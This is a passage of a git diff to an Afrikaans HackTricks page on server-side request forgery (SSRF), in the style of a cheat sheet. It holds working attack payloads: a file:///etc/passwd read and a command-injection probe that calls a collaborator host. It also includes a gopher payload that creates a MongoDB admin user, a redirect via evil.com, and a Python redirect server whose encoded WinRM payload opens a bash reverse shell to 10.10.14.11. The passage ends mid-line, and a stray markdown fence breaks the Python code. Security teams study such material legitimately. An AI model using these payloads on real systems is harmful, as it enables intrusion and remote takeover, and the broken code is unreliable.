-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: @@ -277,14 +406,14 @@ Ander maniere om HackTricks te ondersteun: * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index c864da493..cf5697508 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -3,8 +3,8 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\ -Kry vandag toegang: +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -14,22 +14,21 @@ Kry vandag toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. - ## Basiese Inligting -'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP-versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke wat deur die aanvaller gerig word. +'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **bedienerkant-toepassing** manipuleer om **HTTP-aanvrae** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne aanvrae wat deur die aanvaller gerig word. ## Vang SSRF -Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos die volgende gebruik: +Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik: * **Burp Collaborator** * [**pingb**](http://pingb.in) @@ -41,38 +40,33 @@ Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenere * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik -## Whitelisted Domeine Omspring +## Whitelisted Domeine Omgang -Gewoonlik sal jy vind dat die SSRF slegs werk in **sekere toegelate domeine** of URL's. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**: +Gewoonlik sal jy vind dat die SSRF net werk in **sekere witgelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} -### Omseiling via oop omleiding +### Omgang via oop omleiding -As die bediener korrek beskerm is, kan jy al die beperkings omseil deur 'n Oop Omleiding binne die webblad uit te buit. Omdat die webblad **SSRF na dieselfde domein toelaat** en waarskynlik **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener toegang te gee tot enige interne hulpbron**.\ +As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy te benut**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding benut om die bediener te maak om interne enige hulpbron te benader**.\ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protokolle -- **file://** -- Die URL-skema `file://` word verwys na `/etc/passwd`: `file:///etc/passwd` - -- **dict://** -- Die DICT URL-skema word beskryf as 'n metode om definisies of woordelyste te ontsluit deur middel van die DICT-protokol. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skripsie wat moontlik misbruik kan word om 'n verbinding met 'n DICT-bediener te maak deur aanvaller-verskafte geloofsbriewe te gebruik: `dict://;@:/d:::` - -- **SFTP://** -- Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor veilige skulp, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skripsie uitgebuit kan word om 'n kwaadwillige SFTP-bediener te koppel: `url=sftp://generic.com:11111/` - -- **TFTP://** -- Trivial File Transfer Protocol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skripsie wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word gerig aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - -- **LDAP://** -- Hierdie segment dek die Lightweight Directory Access Protocol en beklemtoon die gebruik daarvan vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike rekenaar: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - -- **SMTP** -- 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om te interageer met SMTP-dienste op die plaaslike rekenaar, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies gebaseer op daardie inligting. +* **file://** +* Die URL-skema `file://` word verwys, wat direk na `/etc/passwd` wys: `file:///etc/passwd` +* **dict://** +* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://;@:/d:::` +* **SFTP://** +* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/` +* **TFTP://** +* Triviale Lêeroordragprotokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET' gestuur: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` +* **LDAP://** +* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` +* **SMTP** +* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-dienste op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies op grond van daardie inligting. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 @@ -80,17 +74,17 @@ From https://twitter.com/har1sec/status/1182255952055164929 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` -- **Curl URL globbing - WAF omseiling** -- As die SSRF uitgevoer word deur **curl**, het curl 'n funksie genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vind vir 'n **padtraversal via `file` protokol**: +* **Curl URL globbing - WAF omseiling** +* Indien die SSRF uitgevoer word deur **curl**, het curl 'n kenmerk genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vind vir 'n **padtraversal via `file` protokol**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` -- **Gopher://** -- Die Gopher-protokol se vermoë om IP, poort en bytes vir bediener kommunikasie te spesifiseer, word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer: +* **Gopher://** +* Die Gopher-protokol se vermoë om IP, poort, en bytes vir bediener kommunikasie te spesifiseer word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer: ### Gopher:// -Met behulp van hierdie protokol kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om **met enige TCP-bedieners te kommunikeer** (maar jy moet eers weet hoe om met die diens te praat).\ +Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om met enige TCP bediener te **kommunikeer** (maar jy moet eers weet hoe om met die diens te praat).\ Gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep. **Gopher smtp** @@ -109,28 +103,12 @@ Subject: Ah Ah AHYou didn't say the magic word ! QUIT ``` **Gopher HTTP** - -Gopher HTTP is a protocol that allows the retrieval of documents over HTTP using the Gopher protocol. It can be used as a technique for Server-Side Request Forgery (SSRF) attacks. - -In a SSRF attack, an attacker tricks the server into making requests to unintended internal resources. By leveraging Gopher HTTP, an attacker can bypass restrictions and access internal resources that are not directly accessible over HTTP. - -To perform a Gopher HTTP SSRF attack, the attacker crafts a Gopher URL that includes the desired HTTP request. The server, unaware of the Gopher HTTP protocol, treats the URL as a regular HTTP request and sends it to the specified destination. - -Here is an example of a Gopher HTTP SSRF attack: - -``` -gopher://attacker.com:80/_GET%20/http://internal-resource.com/secret -``` - -In this example, the attacker's Gopher server listens on port 80 and the Gopher URL includes an HTTP GET request to `http://internal-resource.com/secret`. The server, thinking it is a regular HTTP request, sends the request to `internal-resource.com` and returns the response to the attacker. - -To prevent Gopher HTTP SSRF attacks, it is important to validate and sanitize user-supplied URLs before making any requests. Additionally, network-level protections such as firewalls and access controls can help mitigate the risk of SSRF attacks. ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` -**Gopher SMTP - Terugkoppeling na 1337** +**Gopher SMTP - Terugkoppel na 1337** {% code title="redirect.php" %} ```php @@ -139,16 +117,22 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!"); ?>Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` -{% endcode %} - - +#### Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrateur +```bash +# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished +curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 +7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a +%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% +06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 +%00%00administrator%00%00%00%00' +``` ## SSRF via Verwysingskop & Ander -Analitiese sagteware op bedieners hou dikwels die Verwysingskop by om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, kan besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-invoegtoepassing "**Collaborator Everywhere**" aanbeveel, wat gebruik maak van die manier waarop analitiese gereedskap die Verwysingskop verwerk om potensiële SSRF-aanvalsoppervlaktes te identifiseer. +Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, mag besoek om verwysingswebwerf-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Verwysingskop verwerk, benut om potensiële SSRF-aanvaloppervlaktes te identifiseer. ## SSRF via SNI-data van sertifikaat -'n Foutiewe konfigurasie wat die verbinding met enige agterste gedeelte moontlik maak deur middel van 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie: +'n Foutiewe konfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie: ``` stream { server { @@ -159,25 +143,25 @@ ssl_preread on; } } ``` -In hierdie konfigurasie word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opset stel 'n kwesbaarheid bloot vir Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur eenvoudigweg die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding na 'n willekeurige agterkant, soos `internal.host.com`, te dwing deur die `openssl`-opdrag, word hieronder gegee: +In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant, soos `internal.host.com`, af te dwing met behulp van die `openssl` bevel word hieronder gegee: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` -## [Wget-lêeroplaai](../file-upload/#wget-lêeroplaai-ssrf-truuk) +## [Wget lêer oplaai](../file-upload/#wget-lêer-oplaai-ssrf-truuk) ## SSRF met Opdraginspuiting -Dit mag die moeite werd wees om 'n payload soos hierdie te probeer: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` +Dit mag die moeite werd wees om 'n lading soos te probeer: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` -## PDF's Render +## PDFs Weergawe -As die webblad outomaties 'n PDF skep met inligting wat jy verskaf het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self (die bediener) uitgevoer sal word** terwyl die PDF geskep word, en jy sal 'n SSRF kan misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** +As die webblad outomaties 'n PDF skep met 'n paar inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** -## Van SSRF na DoS +## Van SSRF tot DoS -Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF vanuit die sessies te misbruik. +Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik. -## SSRF PHP-funksies +## SSRF PHP Funksies {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) @@ -185,7 +169,7 @@ Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF vanuit die se ## SSRF Omskakeling na Gopher -Vir sommige uitbuitings mag jy 'n **omleidingreaksie stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om te reageer met 'n omleiding: +Vir sommige uitbuitings mag jy nodig hê om **'n omleiding antwoord te stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler @@ -195,8 +179,9 @@ class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) - -self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") +```markdown +self.send_header("Location", 